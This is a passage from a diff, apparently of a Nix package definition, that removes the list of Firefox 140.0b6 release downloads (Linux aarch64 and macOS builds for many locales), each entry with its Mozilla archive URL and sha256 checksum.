-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/tl/firefox-140.0b6.tar.xz";
-      locale = "tl";
-      arch = "linux-aarch64";
-      sha256 = "5784552f364919bcb9bf9d0465ea76123cf7ba88bb143afa88e5e367c5155ca2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/tr/firefox-140.0b6.tar.xz";
-      locale = "tr";
-      arch = "linux-aarch64";
-      sha256 = "c78ed3a6888b25870cf88adb9f634a264ad3ee9e8ca9d265da4d490118ee1241";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/trs/firefox-140.0b6.tar.xz";
-      locale = "trs";
-      arch = "linux-aarch64";
-      sha256 = "6aafade8a1be4d728699217df5af58d35201dc0d7ae06b48b811f04291e28b53";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/uk/firefox-140.0b6.tar.xz";
-      locale = "uk";
-      arch = "linux-aarch64";
-      sha256 = "a9b244db3309a36817d592de909023fecc3ead9bb1a4cf18af9be2635770c9b0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ur/firefox-140.0b6.tar.xz";
-      locale = "ur";
-      arch = "linux-aarch64";
-      sha256 = "890c8fd5caa23fad6573f96c6ccdf494c8f98a4e5396efc336635293ab6a8e6f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/uz/firefox-140.0b6.tar.xz";
-      locale = "uz";
-      arch = "linux-aarch64";
-      sha256 = "b8046e671f98405f294fcf7e9c4e267fd2ed4febd2f808de001455051409bb5b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/vi/firefox-140.0b6.tar.xz";
-      locale = "vi";
-      arch = "linux-aarch64";
-      sha256 = "e27c08f33fc10a4cd4c0b70d75d6566a6cc7b4cc6b0aaad4a4b92c108060349f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/xh/firefox-140.0b6.tar.xz";
-      locale = "xh";
-      arch = "linux-aarch64";
-      sha256 = "4fc6beb921e2361125efc2c450655714e675dc9d50a2ec82391f49eaed1172c6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/zh-CN/firefox-140.0b6.tar.xz";
-      locale = "zh-CN";
-      arch = "linux-aarch64";
-      sha256 = "34b989b326905d4bf6edf463b6203b712de51900ce743233d00f1b3b6df1e822";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/zh-TW/firefox-140.0b6.tar.xz";
-      locale = "zh-TW";
-      arch = "linux-aarch64";
-      sha256 = "5334fddef31da56b1cc03b9bccbb0658c47a24a4fb77fa8391a60af102fde10d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ach/Firefox%20140.0b6.dmg";
-      locale = "ach";
-      arch = "mac";
-      sha256 = "b55c9da845a9ad7dfb14d787a0cb0df34fa9e6fa3c05b165be9ce64267d008b9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/af/Firefox%20140.0b6.dmg";
-      locale = "af";
-      arch = "mac";
-      sha256 = "b8cb63d503a141499caa5fb68ecfb7f2ca5f49fef960d6119024b8b89dca5b03";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/an/Firefox%20140.0b6.dmg";
-      locale = "an";
-      arch = "mac";
-      sha256 = "ebda4c5460c13c8602ceee736f9ac844996beb7752e51934e5b019e0d60214a3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ar/Firefox%20140.0b6.dmg";
-      locale = "ar";
-      arch = "mac";
-      sha256 = "2467bfc7aa85172172dfe260e247c04359b7be21367da86470175222dae629eb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ast/Firefox%20140.0b6.dmg";
-      locale = "ast";
-      arch = "mac";
-      sha256 = "cdb7b50b3f3364e0b0b27e2f4c8aaede449ab1244523e812cd0822ab281fda57";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/az/Firefox%20140.0b6.dmg";
-      locale = "az";
-      arch = "mac";
-      sha256 = "9218696ae94c2d932669d94f29885906759a39bf5bce2580d8b188085571ecc6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/be/Firefox%20140.0b6.dmg";
-      locale = "be";
-      arch = "mac";
-      sha256 = "10569a7297baa577cabef6c73bfc6d89168864e36ddc67a815c9a6551cd4fae2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/bg/Firefox%20140.0b6.dmg";
-      locale = "bg";
-      arch = "mac";
-      sha256 = "03acebd1cb5b0614b51511c780462c62f31214eb86751753bf7dff3ec503a0f8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/bn/Firefox%20140.0b6.dmg";
-      locale = "bn";
-      arch = "mac";
-      sha256 = "b6f512cfd426c73a95a9a0f649b032079a66ffee662d22e1b67e9faf83ea724f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/br/Firefox%20140.0b6.dmg";
-      locale = "br";
-      arch = "mac";
-      sha256 = "657be978a9c98b8ab0e8d98c94efbfdebc903071283ea805bf126e29e72684f7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/bs/Firefox%20140.0b6.dmg";
-      locale = "bs";
-      arch = "mac";
-      sha256 = "46c70921eb40ff3ef655e96fb971cd20400723e94cc0a5a1ff30c7f65edd58a2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ca-valencia/Firefox%20140.0b6.dmg";
-      locale = "ca-valencia";
-      arch = "mac";
-      sha256 = "19c2bfac3bf614054b224dba62b3afbb72d3eb66d033adf2fdaae38554554cf1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ca/Firefox%20140.0b6.dmg";
-      locale = "ca";
-      arch = "mac";
-      sha256 = "ea93aaba1785ef017831f83ced895332adadf219504e70c54d0c57ff9496f9ae";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/cak/Firefox%20140.0b6.dmg";
-      locale = "cak";
-      arch = "mac";
-      sha256 = "e3f364f81cf5ac7cec821f05f7cc07177fa7d0af8722c91b4f0fbc347cb97d23";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/cs/Firefox%20140.0b6.dmg";
-      locale = "cs";
-      arch = "mac";
-      sha256 = "a86648acdcbed9d7421c72424d42052157ea1f825c14603c0266508238e189e6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/cy/Firefox%20140.0b6.dmg";
-      locale = "cy";
-      arch = "mac";
-      sha256 = "c1725f092c3e43f9b7ed234cf5283c69e61095ae80594d99ddb65cbfd234996c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/da/Firefox%20140.0b6.dmg";
-      locale = "da";
-      arch = "mac";
-      sha256 = "a752f31d76882f756a4f7e8488eafd0f746ece071894b5a79e5f119892e071b1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/de/Firefox%20140.0b6.dmg";
-      locale = "de";
-      arch = "mac";
-      sha256 = "70ee084818040191e975e1a8a8ad80acb6a62f4e46f22df1e5683b22a844c4c9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/dsb/Firefox%20140.0b6.dmg";
-      locale = "dsb";
-      arch = "mac";
-      sha256 = "908627cb2807b27c09825bcbdd7998ba015d95488309fe74c90d309df342e901";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/el/Firefox%20140.0b6.dmg";
-      locale = "el";
-      arch = "mac";
-      sha256 = "b29bf2354ce959e36b82b22db10220656dceaa8d7429b5abd142fa1faa381e7c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/en-CA/Firefox%20140.0b6.dmg";
-      locale = "en-CA";
-      arch = "mac";
-      sha256 = "0756edd349c74d680ee93bdb5e2ac5d290f203a3293c03b160b9b359d2f58464";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/en-GB/Firefox%20140.0b6.dmg";
-      locale = "en-GB";
-      arch = "mac";
-      sha256 = "460eec43ccc80b8a260ac3d4a5623ad694c504e1c01d912a48c13ef9f539c7b2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/en-US/Firefox%20140.0b6.dmg";
-      locale = "en-US";
-      arch = "mac";
-      sha256 = "cd0326af92ca17e5121c916edfe10e913ec39d8ccd16c079207effa7d4aaab75";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/eo/Firefox%20140.0b6.dmg";
-      locale = "eo";
-      arch = "mac";
-      sha256 = "92e1280e109c947c297a6047b975972af21ac979a39f75b6e9f0a7b05896560d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-AR/Firefox%20140.0b6.dmg";
-      locale = "es-AR";
-      arch = "mac";
-      sha256 = "7cceac00533262e4736748a4ce273aca2676e99e4c52ecf667e421994e9f8b25";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-CL/Firefox%20140.0b6.dmg";
-      locale = "es-CL";
-      arch = "mac";
-      sha256 = "a06a0de4c99dd388ea23b37c845a2861a5fe5e0f0e9d303ee86eb01aef4e392a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-ES/Firefox%20140.0b6.dmg";
-      locale = "es-ES";
-      arch = "mac";
-      sha256 = "05761e789f9c61f4bc8749bbc584bc64fcb07d0c2c8b18a27b8b4459b5a80621";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-MX/Firefox%20140.0b6.dmg";
-      locale = "es-MX";
-      arch = "mac";
-      sha256 = "c688be8725af8d5b8ab9a81f9dbb4ca5255a8578fe759d46f602b4ba13e445d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/et/Firefox%20140.0b6.dmg";
-      locale = "et";
-      arch = "mac";
-      sha256 = "6dd742ab79ea9d0653f4096a63d6fcea9f142707fbaf5eef8dc0c8cb8070baf3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/eu/Firefox%20140.0b6.dmg";
-      locale = "eu";
-      arch = "mac";
-      sha256 = "64c3c50a965bf153482e1ab9a78384be231f58051b66cdb9bb790f4cccc6b171";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fa/Firefox%20140.0b6.dmg";
-      locale = "fa";
-      arch = "mac";
-      sha256 = "c5b677703e9eb533987b7371d4f4de7654df9d415958f1216ca0287d5bc24f8e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ff/Firefox%20140.0b6.dmg";
-      locale = "ff";
-      arch = "mac";
-      sha256 = "e4f6751e5eca0f69c303da861cbd150e7af6fddeeaeab1caf3934dd73adb6a91";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fi/Firefox%20140.0b6.dmg";
-      locale = "fi";
-      arch = "mac";
-      sha256 = "3892f17ad12fa9347a2650c152aa19e5b6b5ec79f21bcd28a641261925bc8976";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fr/Firefox%20140.0b6.dmg";
-      locale = "fr";
-      arch = "mac";
-      sha256 = "3462880c9f1f48ab6976d507727b7e3d7d0e86c0eddef198e426a7ce3f9e4659";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fur/Firefox%20140.0b6.dmg";
-      locale = "fur";
-      arch = "mac";
-      sha256 = "7b00ba6b6eb8fe2f04a2411c9e1e764afa49e2d6d8b183eee0bbdc97e017922a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fy-NL/Firefox%20140.0b6.dmg";
-      locale = "fy-NL";
-      arch = "mac";
-      sha256 = "e115dce3ec12cad902029ccb060cd56a258524cfb797bb3aff5645221c192c3d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ga-IE/Firefox%20140.0b6.dmg";
-      locale = "ga-IE";
-      arch = "mac";
-      sha256 = "25c3a1ff61afd4d0ca9ccb2d5d5d1a7a8f224c2cbc7f9aa00b48248c32ea64fc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gd/Firefox%20140.0b6.dmg";
-      locale = "gd";
-      arch = "mac";
-      sha256 = "481725f402a7b0970ca3d5d535a75d3198da2eeac41c2cfae24f99ee0c3ed5bb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gl/Firefox%20140.0b6.dmg";
-      locale = "gl";
-      arch = "mac";
-      sha256 = "4294ffc7380aec2e1c2e65475fcdff5159b8ee53fd4e806d60112ccfdd1d0df2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gn/Firefox%20140.0b6.dmg";
-      locale = "gn";
-      arch = "mac";
-      sha256 = "5ecd0e96fb453c2ba66deea4550f21d5f8fd350f4d688a3b5962a0198a84a3a9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gu-IN/Firefox%20140.0b6.dmg";
-      locale = "gu-IN";
-      arch = "mac";
-      sha256 = "f47ad848401f16be4d0b8dd8081ce53d9173cd856b68de2c98c4c611a8dbb4de";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/he/Firefox%20140.0b6.dmg";
-      locale = "he";
-      arch = "mac";
-      sha256 = "d2a83af6f008ac9753ab19cc6169c0bccc5a3d7999c396bb96bfd81db6959790";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hi-IN/Firefox%20140.0b6.dmg";
-      locale = "hi-IN";
-      arch = "mac";
-      sha256 = "210b0d9c78cec2cb72eaa070bfe814cfeadddadef4fdf11840396e94c4c4174a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hr/Firefox%20140.0b6.dmg";
-      locale = "hr";
-      arch = "mac";
-      sha256 = "16b7bcff84e6f5dafef18f3cb1e392b60220c23318b74755de13970f05c62edb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hsb/Firefox%20140.0b6.dmg";
-      locale = "hsb";
-      arch = "mac";
-      sha256 = "874ad72bcef64fc6a89026a67895e13510b1230ed4df3445e1dada090724315a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hu/Firefox%20140.0b6.dmg";
-      locale = "hu";
-      arch = "mac";
-      sha256 = "a82849f2244b6d0662566f3ee25bc4c277d91a703635bbe41a7bc63c60e8f239";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hy-AM/Firefox%20140.0b6.dmg";
-      locale = "hy-AM";
-      arch = "mac";
-      sha256 = "abb9561be5a12506d7a077936753f83bc234b3f160e26225757e1c0bbfecda73";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ia/Firefox%20140.0b6.dmg";
-      locale = "ia";
-      arch = "mac";
-      sha256 = "52835ece73d0f34ec410d2f6c6240fc7d0860d6b055a4a0a19be71e39c68e759";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/id/Firefox%20140.0b6.dmg";
-      locale = "id";
-      arch = "mac";
-      sha256 = "5c6a886706bb6b27c717af90a20fc1d694748ad8cfe568eaf374dffb872a6c0b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/is/Firefox%20140.0b6.dmg";
-      locale = "is";
-      arch = "mac";
-      sha256 = "9707fec98234f35621fec0a43b4410eed814064126d701d76b520188b5f47dfb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/it/Firefox%20140.0b6.dmg";
-      locale = "it";
-      arch = "mac";
-      sha256 = "dc7b193ad74003a206ea2bc681837c175de45322be21d395b75062fb227cef2b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ja-JP-mac/Firefox%20140.0b6.dmg";
-      locale = "ja-JP-mac";
-      arch = "mac";
-      sha256 = "aa4c38ccbe19b139465acfb54984ff5076ee596b562b51f2cbe522fff14c4527";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ka/Firefox%20140.0b6.dmg";
-      locale = "ka";
-      arch = "mac";
-      sha256 = "e1402e34d8a455d9f2473a81ba853e5fb369581ecc329d296115ddb33967875d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/kab/Firefox%20140.0b6.dmg";
-      locale = "kab";
-      arch = "mac";
-      sha256 = "1575a80d66865bdea6e972aada77795c07e74dbebd92b30f3fa32a229f0a487c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/kk/Firefox%20140.0b6.dmg";
-      locale = "kk";
-      arch = "mac";
-      sha256 = "fa2d1f2d2deeaf1d095b3ae32b90394763a326c724455e8bb644c21d7cb31b61";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/km/Firefox%20140.0b6.dmg";
-      locale = "km";
-      arch = "mac";
-      sha256 = "849d0e8f1a42faf78440f331cc3b77e85e4e3a75e4a8d3e31609a14904644ce3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/kn/Firefox%20140.0b6.dmg";
-      locale = "kn";
-      arch = "mac";
-      sha256 = "2aeb6d55236f0b89756f4dd496a53f972ec8c24c8c52db4aefbdbbad7747fd52";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ko/Firefox%20140.0b6.dmg";
-      locale = "ko";
-      arch = "mac";
-      sha256 = "c007683b92b34d34b305aa998f59d0d9affc4e07ecc3848576fa065922e6a97b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/lij/Firefox%20140.0b6.dmg";
-      locale = "lij";
-      arch = "mac";
-      sha256 = "6792e8affd2b4b240663b34f983c3467942e7f6a4135ae27da9fd3632d39ae92";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/lt/Firefox%20140.0b6.dmg";
-      locale = "lt";
-      arch = "mac";
-      sha256 = "514e98aa37a819951b35c8e3c0cb57045deaf2d1a24d0f0bccbecf89d3e0b6a1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/lv/Firefox%20140.0b6.dmg";
-      locale = "lv";
-      arch = "mac";
-      sha256 = "2a254dafd7c4bbe05c0855347f620e95188a49e4336363c90fa17959e1b610a3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/mk/Firefox%20140.0b6.dmg";
-      locale = "mk";
-      arch = "mac";
-      sha256 = "2af405b2012bc0641c2e4eece36f7c5282b38315b052998138a5ed36dd11f5f6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/mr/Firefox%20140.0b6.dmg";
-      locale = "mr";
-      arch = "mac";
-      sha256 = "304b360bb71fa4071a05fc0bb3142a231e9f500da09a8e442c0848fcac99fd4e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ms/Firefox%20140.0b6.dmg";
-      locale = "ms";
-      arch = "mac";
-      sha256 = "5e4c5e3a6e5fd45c2653b54d3b6174e99511aa9e20b976dc21af048036066bd4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/my/Firefox%20140.0b6.dmg";
-      locale = "my";
-      arch = "mac";
-      sha256 = "ecb541b9ca27ea7d879941fef632bd8ba4d576503291d74abb507dd9041f44d4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/nb-NO/Firefox%20140.0b6.dmg";
-      locale = "nb-NO";
-      arch = "mac";
-      sha256 = "4909f39237eb6480cd188bd87012a95cb33435fd5a98c0baf82567ea9020a8d0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ne-NP/Firefox%20140.0b6.dmg";
-      locale = "ne-NP";
-      arch = "mac";
-      sha256 = "464e6346b517c62c00bca230af7d6f9ae996677f450776530c51046e4d21f750";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/nl/Firefox%20140.0b6.dmg";
-      locale = "nl";
-      arch = "mac";
-      sha256 = "4bfcd05169003a8bfd3276860b8c6162dfe91c515b4e014bdb14783aa110390f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/nn-NO/Firefox%20140.0b6.dmg";
-      locale = "nn-NO";
-      arch = "mac";
-      sha256 = "7cc8e377ae8db78e84cc3e7de5a8477902d8dd331df1c63380b607f7e660a3bc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/oc/Firefox%20140.0b6.dmg";
-      locale = "oc";
-      arch = "mac";
-      sha256 = "428788ef0bdf30d681924a9a581581ba63fdd2bd8152b3b33e020b9db2f298d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pa-IN/Firefox%20140.0b6.dmg";
-      locale = "pa-IN";
-      arch = "mac";
-      sha256 = "2cc98f9a1b36ba958be93784731a629b535b5c310b4ed7dd3c979cc543076288";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pl/Firefox%20140.0b6.dmg";
-      locale = "pl";
-      arch = "mac";
-      sha256 = "43ab0fdd7d995d4c60d962c3db5f1907a4f8ae8f5bbf9401a96b424d458cee48";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pt-BR/Firefox%20140.0b6.dmg";
-      locale = "pt-BR";
-      arch = "mac";
-      sha256 = "b469cbd87a88d09fae83f8b2ba395ebc468935b6beb7db8b83bcb1f47396ff4e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pt-PT/Firefox%20140.0b6.dmg";
-      locale = "pt-PT";
-      arch = "mac";
-      sha256 = "31e3ad58f6790f04383bd0e32c530cea7559d8234a1faa234a40405181ada782";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/rm/Firefox%20140.0b6.dmg";
-      locale = "rm";
-      arch = "mac";
-      sha256 = "c5f25f30d5f12576711457bc884ba679ac790108c3db1ee70b307205b6875cf4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ro/Firefox%20140.0b6.dmg";
-      locale = "ro";
-      arch = "mac";
-      sha256 = "a3a266d6889610681ac0b4f5226190aa7ef64df557bf69df17a0e8ab9cc336f8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ru/Firefox%20140.0b6.dmg";
-      locale = "ru";
-      arch = "mac";
-      sha256 = "017954fc938efc470dffb50141944b041958a50c79fd24f6172a180db46e2078";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sat/Firefox%20140.0b6.dmg";
-      locale = "sat";
-      arch = "mac";
-      sha256 = "75d42a50eb3526478cd966e0327733426b74e5159733527f34afee1cc1de2596";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sc/Firefox%20140.0b6.dmg";
-      locale = "sc";
-      arch = "mac";
-      sha256 = "53946a3f22d87ea274b3ea737150a6f80095a6be9b158ebe2f287739a7835732";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sco/Firefox%20140.0b6.dmg";
-      locale = "sco";
-      arch = "mac";
-      sha256 = "9dda7a42af7a7a04b0301f2fc528cf908da7612d5cab43dc8dbb094e4d5faee2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/si/Firefox%20140.0b6.dmg";
-      locale = "si";
-      arch = "mac";
-      sha256 = "d7bb27ea910c83d42522f57dd1da9212a3294aa3850aebaac2695d38e46f4ef6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sk/Firefox%20140.0b6.dmg";
-      locale = "sk";
-      arch = "mac";
-      sha256 = "dde7bb699ca39a97b8a9d6438df6bc352c51dad20b5981dfe38251cc269dc7f5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/skr/Firefox%20140.0b6.dmg";
-      locale = "skr";
-      arch = "mac";
-      sha256 = "eebc4cdbdd6676ccdcf8b180ce7c2682b9f8e7350e79a24564e34cfa1607b4cf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sl/Firefox%20140.0b6.dmg";
-      locale = "sl";
-      arch = "mac";
-      sha256 = "7c2ea1dca6b8d9cf2bfa1dd6293a6b348e6ab18a100b406f5d3a30c71f1b2e7d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/son/Firefox%20140.0b6.dmg";
-      locale = "son";
-      arch = "mac";
-      sha256 = "8b0c01e1cbb12df69fe954c63035881f9f3333b330134903eafcc215d831534d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sq/Firefox%20140.0b6.dmg";
-      locale = "sq";
-      arch = "mac";
-      sha256 = "2a586a51f2422727b47b1adc60409da330a6a49bdd216116a2b45cea0d903437";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sr/Firefox%20140.0b6.dmg";
-      locale = "sr";
-      arch = "mac";
-      sha256 = "df767db631863e930224f4f5b434af5dda0b0a41696ec5c158173b52f0f8604a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sv-SE/Firefox%20140.0b6.dmg";
-      locale = "sv-SE";
-      arch = "mac";
-      sha256 = "029264295eac7a66f050c8aa6951e036b8bceb77e4371af076e57d86d9b3df24";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/szl/Firefox%20140.0b6.dmg";
-      locale = "szl";
-      arch = "mac";
-      sha256 = "2c3849b9b9c87b5b9f6e979f8a6fafa4b01c9bc14124843315039e691a38edd4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ta/Firefox%20140.0b6.dmg";
-      locale = "ta";
-      arch = "mac";
-      sha256 = "d2943aa24ff22e41068bcc90bc6303e659f484d5bcacd7af97788cbd10b50100";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/te/Firefox%20140.0b6.dmg";
-      locale = "te";
-      arch = "mac";
-      sha256 = "1e50c08c4463e659ff845a49cc199653ae686ef858755cba389cf73da128d88d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/tg/Firefox%20140.0b6.dmg";
-      locale = "tg";
-      arch = "mac";
-      sha256 = "37f238ad85c4cf54b0ee15e85925fd20089f43419ae5ee715548c572a2cfd437";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/th/Firefox%20140.0b6.dmg";
-      locale = "th";
-      arch = "mac";
-      sha256 = "e1a656061c4a75e9d615e5a5fc606a9d9f0d5eee1b6d7673011e86913efd203c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/tl/Firefox%20140.0b6.dmg";
-      locale = "tl";
-      arch = "mac";
-      sha256 = "8e0a4dce49b2d37c7ca42109693d2b8cc308b2fd5e61bc2671322e31a7f38fe8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/tr/Firefox%20140.0b6.dmg";
-      locale = "tr";
-      arch = "mac";
-      sha256 = "8956253cbaab457d68da6c59d6babfc7efd69a514ccb0b97926cf1574a12c104";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/trs/Firefox%20140.0b6.dmg";
-      locale = "trs";
-      arch = "mac";
-      sha256 = "c4935598b8ddb10a3c7078acb982d303d4b10d018104e4af80e4cc9e68bd3faf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/uk/Firefox%20140.0b6.dmg";
-      locale = "uk";
-      arch = "mac";
-      sha256 = "3fbaf24aaeec14b7a5448a6b1c040652dde18f20c77eaf84a464649132dc52db";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ur/Firefox%20140.0b6.dmg";
-      locale = "ur";
-      arch = "mac";
-      sha256 = "a1669faa39064f6d931c8dbf8f87744ddba9fc084a6d7dca8260e1a07d73557e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/uz/Firefox%20140.0b6.dmg";
-      locale = "uz";
-      arch = "mac";
-      sha256 = "fd3a3c761959a2397731d1238c5cecb2a5be1ae7c94d31d6443816cc0401d856";
-    }
-    {
